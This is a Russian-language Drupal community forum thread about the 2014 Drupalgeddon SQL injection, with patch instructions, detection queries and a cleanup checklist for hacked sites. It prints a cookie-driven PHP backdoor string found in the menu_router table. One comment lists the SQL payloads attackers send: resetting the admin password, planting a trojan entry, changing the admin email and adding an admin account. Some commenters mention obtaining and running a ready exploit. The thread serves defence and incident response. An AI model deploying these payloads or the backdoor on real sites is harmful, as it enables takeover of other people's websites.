Внимание! Критическая уязвимость во всех версиях drupal ниже Drupal 7.32 (Highly critical) (update 9)

Аватар пользователя sibero

Критическая уязвимость во всех версиях drupal 7-ой ветки, которой был присвоен уровень "Highly critical". Уязвимость позволяет выполнить произвольный sql запрос на сайте (сменить пароль для админа, включить php фильтр и добавить произвольный php код в одну из нод). Необходимо срочно обновляться до Drupal 7.32, если возможности сейчас срочно обновиться нет, то как минимум нужно использовать патч https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch устраняющий проблему.

Минигайд по патчу(вручную):
В файле includes/database/database.inc
находим строку:
foreach ($data as $i => $value) {
и заменяем её на:
foreach (array_values($data) as $i => $value) {

Если такой строки нет - уточняйте, возможно ваш хостер уже наложил патч (в виду критичности проблемы).

Официальная информация о уязвимости - https://www.drupal.org/SA-CORE-2014-005
На русском языке - http://www.opennet.ru/opennews/art.shtml?num=40844 и http://habrahabr.ru/post/240721/
Патч - https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch

update.
На хостинге it-patrol.ru наложили патч на все уязвимые сайты. Обновились только 5% сайтов, так что посовещавшись решили наложить патч сами на уязвимые сайты, чтобы защитить клиентов (по рассылке всех уведомили).

update 2.
Информация от neochief

neochief написал:
Если у вас чудесным образом оказалось уже все пропатчено, либо вы не можете найти нужную строку, не спешите радоваться. Вот здесь описано как такое случается: http://www.zionsecurity.com/blog/2014/10/automated-exploiting-and-backdooring-drupal-7-web-servers

У меня так было заражено два сайта. Чтобы вылечить, нужно найти вражеский скрипт и снести его (для выявления помогает команда "find . -type f -printf '%T@ %p\n' | sort -k 1nr | sed 's/^[^ ]* //' | head -n 10", которая выводит последние 10 изменившихся файлов, ну или "git status"). Кроме того, в таблице menu_router есть запись, которая может заново создать такой файлик. Ищите по ключевику "$form1=@$_COOKIE" в дампе базы, чтобы проверить.

update 3.
drupal 8 так же подвержен этой уязвимости. Исправили в Drupal 8 beta 2 - https://www.drupal.org/node/2357303

update 4.

drupby написал:
самое интересное, что ишью по данному поводу было создано в прошлом ноябре https://www.drupal.org/node/2146839, а пофиксили как обычно следующей осенью

Ответ по этому поводу на drupal.org - https://www.drupal.org/node/2146839#comment-9255599

update 5.
Модуль https://www.drupal.org/project/site_audit показывает наличие троянов в menu_router, крайне желательно проверить свой сайт
Или сделайте дамп базы данных и grep '$form1=@$_COOKIE' мой_дамп.sql (для linux)

update 6.

В базе данных взломанных сайтов в таблице menu_router обнаруживается строка с access_arguments примерно следующего вида:
a:2:{i:0;s:25:"modules/taxonomy/yrof.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

Найти такой троян в базе можно запросом:
SELECT * FROM menu_router WHERE access_arguments LIKE '%form1(@$_COOKIE%';

Так же создаются php shell, их ищем так:
find /путь/до/сайта -type f -name "*.php" -exec grep -l '$form1=@$_COOKIE' {} \;

Если в базе не нашли записи, это не ещё не значит, что сайт не взломан. Некоторые злоумышленники заметают следы, убирая записи из базы, после создания php shell


update 7.

Чеклист для проверки сайта
1) Проверяем не засунули ли трояна в menu_router (выглядит примерно так http://www.zoubi.me/sites/default/files/drupageddon_sql.png )
1 способ
делаем запрос в базу
SELECT * FROM menu_router WHERE access_arguments LIKE '%form1(@$_COOKIE%';
2 способ
сделайте дамп базы данных и grep '$form1=@$_COOKIE' мой_дамп.sql (для linux)
3 способ
ставим модуль https://www.drupal.org/project/site_audit

Если строчку нашли, то удаляем её из базы

2) Проверяем не создали ли php shell в директории сайта
find /путь/до/сайта -type f -name "*.php" -exec grep -l '$form1=@$_COOKIE' {} \;

смотрим какие php файлы создавали за последние 5 дней
find /путь/до/сайта -name "*.php" -mtime -5
на каких файлах php изменяли права (иногда полезно)
find /путь/до/сайта -name "*.php" -ctime -5

3) Проверяем не поменяли ли email админа на сайте, меняем пароль (для главного админа и остальных админов, если они есть)
4) Смотрим не появились ли новые группы (роли с повышенными правами), если появились, удаляем
5) Проверяем не появились ли новые пользователи админы (состоящие в группе администратор, или других групп с повышенными правами), если есть, удаляем
6) если не хакали модули сами и не ставили дев версии, то выявить хаки в модулях и ядре поможет модуль https://www.drupal.org/project/hacked

update 8
Злоумышленники массово создавали пользователя с именем drupaldev и ролью megauser (с правами администратора), проверяйте свои сайты.
Проверить наличие в базе данных пользователя drupaldev и роли megauser, можно, к примеру, запросами в базу:
SELECT * FROM role WHERE name='megauser';
SELECT * FROM users WHERE name='drupaldev';

update 9
Информация от Ch
Появился модуль https://www.drupal.org/project/drupalgeddon который анализирует возможный взлом сайта (SA-CORE-2014-005), не имеет интерфейса, выполняется из консоли (drush). Интегрирован с модулем https://www.drupal.org/project/site_audit
Cписок пользователей создаваемых злоумышленниками, которые ишет модуль:

$users = array(
    'configure',
    'drplsys',
    'drupaldev',
    'n0n0x',
    'system',
  );
Ключевые слова:
Версия Drupal:
Форумы:
0 Спасибо

Комментарии

Аватар пользователя Niklan
Niklan 2 года назад

Да уже всех поломали кого хотели поломать. 15 числа надо было в шустром порядке обновляться.

Не забудьте после апдейта в юзерах проверить у кого роль админа есть, глядишь новые могут появиться, самоправозглашенные.

0 Спасибо
Аватар пользователя drupby
drupby 2 года назад
Niklan написал:
Да уже всех поломали кого хотели поломать.

да нет, еще много сайтов не обновленных
и все таки axel что то знал, не переходя на семерку

0 Спасибо
Аватар пользователя sibero
sibero 2 года назад
Niklan написал:
Да уже всех поломали кого хотели поломать.

Как системный администратор в хостинг компании скажу, обновили сайт около 5% только (сомневаюсь, что у других хостинг компаний особенно отличается ситуация). Массовых взломов пока не было, но скорее всего будут, так как exploit появились в сети. Поэтому важно донести информацию о необходимости обновления.

0 Спасибо
Аватар пользователя pr0g
pr0g 2 года назад

Может кто объяснить как применить запрос описанный http://www.opennet.ru/opennews/art.shtml?num=40844 чтобы он отработал.
Хочу закрыть уязвимость хотя бы патчем, тем проектам которые мне НЕ платят за поддержку сайтов, а для этого хотелось бы узнать поможет ли патч.
Спасибо.

0 Спасибо
Аватар пользователя drupby
drupby 2 года назад
pr0g написал:
тем проектам которые мне платят за поддержку сайтов, а для этого хотелось бы узнать поможет ли патч.

ну так давай адреса сайтов, объясним и покажем

pr0g написал:
Может кто объяснить как применить запрос описанный

там имеется ввиду post запрос

0 Спасибо
Аватар пользователя Александр Пешков
Александр Пешков 2 года назад

Та я уже обновился давно.А что страшного ну поломают сайт восстановишь.Главное чтоб на вашем хостинге не объявился новый админ

0 Спасибо
Аватар пользователя whiesam
whiesam 2 года назад

Мне хостер сам патчи поставил)))) Потом только сообщил об этом)

0 Спасибо
Аватар пользователя pr0g
pr0g 2 года назад
drupby написал:
там имеется ввиду post запрос

Что-то у меня выходит добавить пользователя, отправляя запрос через POST.

0 Спасибо
Аватар пользователя drupby
drupby 2 года назад
pr0g написал:
А что страшного ну поломают сайт восстановишь.

ну так с помощью модуля PHP filter можно чудеса чудотворные вытворять, потом долго будут следы искать

0 Спасибо
Аватар пользователя whiesam
whiesam 2 года назад
drupby написал:
ну так с помощью модуля PHP filter можно чудеса чудотворные вытворять, потом долго будут следы искать

Это не я писал)

0 Спасибо
Аватар пользователя pr0g
pr0g 2 года назад
drupby написал:
ну так с помощью модуля PHP filter можно чудеса чудотворные вытворять, потом долго будут следы искать

Нашел готовый эксплоит на PHP

0 Спасибо
Аватар пользователя drupby
drupby 2 года назад
pr0g написал:
Нашел готовый эксплоит на PHP

какая разница на пыхе или на питоне, пост запрос можно выполнить хоть с помощью расширения браузерного

вот кстати запросы, которые чаще всего пытаются выполнить

UPDATE users SET name='admin' , pass = '$S$CTo
9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g'
WHERE uid = '1';
INSERT INTO `menu_router` (`path`, `load_functions`, `to_arg_functions`, `description`, `access_callback`, `access_arguments`)
VALUES ('mziogj', '', '', 'mziogj', 'file_put_contents',[TROJAN]);
UPDATE {users} SET mail='[EMAIL_ADDRESS]' WHERE uid=1;
set @a=(SELECT MAX(uid) FROM users)+1;INSERT IN
TO users set uid=@a,status=1,name='n0n0x' , pass = '$S$CTo9G7Lx2jmHrpHDdKDR0R8X/
q4H9PXo02REYap3z2t8UE3F0DfC'
;INSERT INTO users_roles set uid=@a,rid=3;
0 Спасибо
Аватар пользователя pr0g
pr0g 2 года назад
drupby написал:
какая разница на пыхе или на питоне, пост запрос можно выполнить хоть с помощью расширения браузерного

Спасибо за информацию, я уже накатил патч на сайты.

0 Спасибо
Аватар пользователя VasyOK
VasyOK 2 года назад

Если на сайте нет возможности регистрироваться, взломать можно данным методом?

0 Спасибо
Аватар пользователя drupby
drupby 2 года назад
VasyOK написал:
Если на сайте нет возможности регистрироваться

таки форма входа и регистрации разные вещи, а так тебя не спасет и перевод сайта в maintenance mode

самое интересное, что ишью по данному поводу было создано в прошлом ноябре https://www.drupal.org/node/2146839, а пофиксили как обычно следующей осенью

0 Спасибо
Аватар пользователя -NIK-
-NIK- 2 года назад

Зачем лепить патчи, если ядро обновить дело 2-х минут.

0 Спасибо
Аватар пользователя Plazik
Plazik 2 года назад
VasyOK написал:
Если на сайте нет возможности регистрироваться, взломать можно данным методом?

Говорят даже файлы можно через эту уязвимость заливать)

-NIK- написал:
Зачем лепить патчи, если ядро обновить дело 2-х минут.

А если ядер 100?

0 Спасибо
Аватар пользователя ex-S
ex-S 2 года назад

Я верно понял? Нужно в файле
/includes/database/database.inc
заменить
foreach ($data as $i => $value) {
на
foreach (array_values($data) as $i => $value) {

0 Спасибо
Аватар пользователя Plazik
Plazik 2 года назад

Да.

0 Спасибо
Аватар пользователя kein-problem
kein-problem 2 года назад

На сайте с 7.31 такую строку нашел и заменил. А на 7.17 и 7.23 ее вообще нет! Почему тогда подвержены все версии Drupal 7?

0 Спасибо
Аватар пользователя neochief
neochief 2 года назад

> А на 7.17 и 7.23 ее вообще нет!

Если у вас чудесным образом оказалось уже все пропатчено, либо вы не можете найти нужную строку, не спешите радоваться. Вот здесь описано как такое случается: http://www.zionsecurity.com/blog/2014/10/automated-exploiting-and-backdooring-drupal-7-web-servers

У меня так было заражено два сайта. Чтобы вылечить, нужно найти вражеский скрипт и снести его (для выявления помогает команда "find . -type f -printf '%T@ %p\n' | sort -k 1nr | sed 's/^[^ ]* //' | head -n 10", которая выводит последние 10 изменившихся файлов, ну или "git status"). Кроме того, в таблице menu_router есть запись, которая может заново создать такой файлик. Ищите по ключевику "$form1=@$_COOKIE" в дампе базы, чтобы проверить.

0 Спасибо
Аватар пользователя Old Human
Old Human 2 года назад
neochief написал:
У меня так было заражено два сайта. Чтобы вылечить, нужно найти вражеский скрипт и снести его (для выявления помогает команда "find . -type f -printf '%T@ %p\n' | sort -k 1nr | sed 's/^[^ ]* //' | head -n 10", которая выводит последние 10 изменившихся файлов, ну или "git status"). Кроме того, в таблице menu_router есть запись, которая может заново создать такой файлик. Ищите по ключевику "$form1=@$_COOKIE" в дампе базы, чтобы проверить.

Спасибо, добрый человек. Все так. Нашел вражину!!!
Пароль имеет смысл менять для старого администратора? Новых не появилось.

0 Спасибо
Аватар пользователя Glokta
Glokta 2 года назад

Куда патч ставить? Как? Скажите плз, в юзерах сидит новая, неведомая личность, срочно)

0 Спасибо
Аватар пользователя marazmus
marazmus 2 года назад
Glokta написал:
Куда патч ставить? Как? Скажите плз, в юзерах сидит новая, неведомая личность, срочно)

/includes/database/database.inc

найти строку

foreach ($data as $i => $value) {

заменить на строку

foreach (array_values($data) as $i => $value) {

0 Спасибо
Аватар пользователя marazmus
marazmus 2 года назад
Glokta написал:
в юзерах сидит новая, неведомая личность

У неведомой личности сперва удалите его группу (скорее всего это будет megauser), потом удалите самого юзера.

0 Спасибо
Аватар пользователя FORTIS
FORTIS 2 года назад

надо же было догадаться эксплоит к уязвимости вынести на главную страницу сообщества, на орге до такой дури не додумались, понятно почему?)

0 Спасибо
Аватар пользователя sibero
sibero 2 года назад
FORTIS написал:
надо же было догадаться эксплоит к уязвимости вынести на главную страницу сообщества, на орге до такой дури не додумались, понятно почему?)

Ссылку размещал для администраторов и разработчиков, для понимания как происходит атака, но согласен с вами, убираю.

0 Спасибо
Аватар пользователя sibero
sibero 2 года назад
ХулиGUN написал:
Шикардос... убрали типа... кому нужно типа ищите в редакциях?

Информация быстро гуглится и выложена уже на многих сайтах (даже готовые exploit на php).

0 Спасибо
Аватар пользователя sibero
sibero 2 года назад
Цитата:
Пароль имеет смысл менять для старого администратора? Новых не появилось.

Лучше поменять пароль, мало ли. И нужно проверить не поменяли ли email для админа

0 Спасибо
Аватар пользователя sibero
sibero 2 года назад

Обновление шапки топика:

update.
На хостинге it-patrol.ru наложили патч на все уязвимые сайты. Обновились только 5% сайтов, так что посовещавшись решили наложить патч сами на уязвимые сайты, чтобы защитить клиентов (по рассылке всех уведомили).

update 2.
Информация от neochief

neochief написал:
Если у вас чудесным образом оказалось уже все пропатчено, либо вы не можете найти нужную строку, не спешите радоваться. Вот здесь описано как такое случается: http://www.zionsecurity.com/blog/2014/10/automated-exploiting-and-backdooring-drupal-7-web-servers

У меня так было заражено два сайта. Чтобы вылечить, нужно найти вражеский скрипт и снести его (для выявления помогает команда "find . -type f -printf '%T@ %p\n' | sort -k 1nr | sed 's/^[^ ]* //' | head -n 10", которая выводит последние 10 изменившихся файлов, ну или "git status"). Кроме того, в таблице menu_router есть запись, которая может заново создать такой файлик. Ищите по ключевику "$form1=@$_COOKIE" в дампе базы, чтобы проверить.

update 3.
drupal 8 так же подвержен этой уязвимости. Исправили в Drupal 8 beta 2 - https://www.drupal.org/node/2357303

update 4.
В багтрекере drupal ( https://www.drupal.org/node/2146839 ) информация о потенциальной уязвимости появилась более 11 месяцев назад, но до security team информация не дошла. Ответ по этому поводу на drupal.org - https://www.drupal.org/node/2146839#comment-9255599

0 Спасибо
Аватар пользователя sibero
sibero 2 года назад

update 5.
Модуль https://www.drupal.org/project/site_audit показывает наличие троянов в menu_router, крайне желательно проверить свой сайт
Или сделайте дамп базы данных и grep '$form1=@$_COOKIE' мой_дамп.sql (для linux)

0 Спасибо
Аватар пользователя Artu
Artu 2 года назад

IT Patrol молодцы что применили массово патч.
Интересны скрипты на эту тему.

Обойти все сайты, для каждого проверить версию, в случае искомой версии применить патч.

0 Спасибо
Аватар пользователя sibero
sibero 2 года назад
Artu написал:
Интересны скрипты на эту тему.

Скрипт писал коллега и он заточен под особенности хостинга, его нет смысла выкладывать в том виде, в каком он есть. Но там по сути несколько строк на баше будет. Формируем список директорий в которых лежат сайты, а потом в цикле грепаем строку $data as $i => $value в файле includes/database/database.inc , если она есть, версия уязвима, тогда патчим, к примеру утилитой patch

patch -p1 --backup < /root/SA-CORE-2014-005-D7.patch

0 Спасибо
Аватар пользователя sibero
sibero 2 года назад

В базе данных взломанных сайтов в таблице menu_router обнаруживается строка с access_arguments примерно следующего вида:
a:2:{i:0;s:25:"modules/taxonomy/yrof.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

Найти такой троян в базе можно запросом:
SELECT * FROM menu_router WHERE access_arguments LIKE '%form1(@$_COOKIE%';

Так же создаются php shell, их ищем так:
find /путь/до/сайта -type f -name "*.php" -exec grep -l '$form1=@$_COOKIE' {} \;

0 Спасибо
Аватар пользователя sibero
sibero 2 года назад

Если в базе не нашли записи, это не ещё не значит, что сайт не взломан. Некоторые заметают следы, убирая записи из базы, после создания php shell

0 Спасибо
Аватар пользователя sibero
sibero 2 года назад

update 7.
Чеклист для проверки сайта
1) Проверяем не засунули ли трояна в menu_router (выглядит примерно так http://www.zoubi.me/sites/default/files/drupageddon_sql.png )
1 способ
делаем запрос в базу
SELECT * FROM menu_router WHERE access_arguments LIKE '%form1(@$_COOKIE%';
2 способ
сделайте дамп базы данных и grep '$form1=@$_COOKIE' мой_дамп.sql (для linux)
3 способ
ставим модуль https://www.drupal.org/project/site_audit

Если строчку нашли, то удаляем её из базы

2) Проверяем не создали ли php shell в директории сайта
find /путь/до/сайта -type f -name "*.php" -exec grep -l '$form1=@$_COOKIE' {} \;

смотрим какие php файлы создавали за последние 5 дней
find /путь/до/сайта -name "*.php" -mtime -5
на каких файлах php изменяли права (иногда полезно)
find /путь/до/сайта -name "*.php" -ctime -5

3) Проверяем не поменяли ли email админа на сайте, меняем пароль (для главного админа и остальных админов, если они есть)
4) Смотрим не появились ли новые группы (роли повышенными правами), если появились, удаляем
5) Проверяем не появились ли новые пользователи админы (состоящие в группе администратор, или других групп с повышенными правами), если есть, удаляем
6) если не хакали модули сами и не ставили дев версии, то выявить хаки в модулях и ядре поможет модуль https://www.drupal.org/project/hacked

0 Спасибо
Аватар пользователя FORTIS
FORTIS 2 года назад

ядру не хватает инструмента для поднятия паники при таких критикалах ))

0 Спасибо
Аватар пользователя ttenz
ttenz 2 года назад

спасибо за мануал, также спасибо за эксплоит (работает чудненько, но немножко поправил).

0 Спасибо
Аватар пользователя sibero
sibero 2 года назад

update 8
Злоумышленники массово создавали пользователя с именем drupaldev и ролью megauser (с правами администратора), проверяйте свои сайты.
Проверить наличие в базе данных пользователя drupaldev и роли megauser, можно, к примеру, запросами в базу:
SELECT * FROM role WHERE name='megauser';
SELECT * FROM users WHERE name='drupaldev';

Вывести uid пользователей у которых роль администратор, помимо основного админа (uid=1)
SELECT * FROM users_roles WHERE rid='3' AND uid !='1';

0 Спасибо
Аватар пользователя FORTIS
FORTIS 2 года назад
sibero777 написал:
Вывести uid пользователей у которых роль администратор, помимо основного админа (uid=1)
SELECT * FROM users_roles WHERE rid='3' AND uid !='1';

нет не вывести)

0 Спасибо
Аватар пользователя sibero
sibero 2 года назад
FORTIS написал:
нет не вывести)

Поясните?

0 Спасибо
Аватар пользователя sibero
sibero 2 года назад
Ch написал:

https://www.drupal.org/project/drupalgeddon

drupaldev уже проверяет там, мегаюзера пока нет.

Спасибо за информацию, хороший модуль. Кстати, судя по коду вижу проверяет. Правило в checks\bad_roles_check.inc
И список пользователей которых ищет, тоже вижу больше

 $users = array(
    'configure',
    'drplsys',
    'drupaldev',
    'n0n0x',
    'system',
  );
0 Спасибо
Аватар пользователя FORTIS
FORTIS 2 года назад
sibero777 написал:
Поясните?

запрос выводит пользователе с rid=3 -
это может быть любая роль, при минимальной установке друпала из коробки нет роли админ

0 Спасибо
Аватар пользователя sibero
sibero 2 года назад
FORTIS написал:
запрос выводит пользователе с rid=3 -
это может быть любая роль, при минимальной установке друпала из коробки нет роли админ

Так в этом и суть запроса, вывести uid всех пользователей, у которых rid=3 (группа администратор). В drupal 7 есть роль "администратор" по умолчанию, её не было в drupal 6, и rid=3 это номер группы "администратор" по умолчанию в drupal 7
Вот так выглядит таблица roles в стандартном drupal 7 - http://i.imgur.com/3poCQLw.jpg
А вот так выглядит по умолчанию таблица users_roles - http://i.imgur.com/iwNwv4S.jpg , как видите группа rid=3 по умолчанию закреплена за uid=1

0 Спасибо
Аватар пользователя sibero
sibero 2 года назад
FORTIS написал:
запрос выводит пользователе с rid=3 -
это может быть любая роль, при минимальной установке друпала из коробки нет роли админ

Прошу прощения, ошибся, это при установке профиля standart, в профиле minimal группа не создается. Исправляю информацию

0 Спасибо
Аватар пользователя dretro
dretro 2 года назад

Сначала обновил ядро и все модули, а потом уже заметил что появился новый пользователь drupaldev. Удалил пользователя, а затем начал искать остальные следы, методами описанными в шапке. Но ничего так и не нашел, плохо искал? или это из-за того что обновился нет остальных следов?

0 Спасибо
Аватар пользователя drupby
drupby 2 года назад
dretro написал:
Но ничего так и не нашел, плохо искал?

кроме всего прочего добавленным пользователем могли изменить контент, добавить комменты спамные, изменить/добавить новые блоки, изменить/добавить вьюхи

0 Спасибо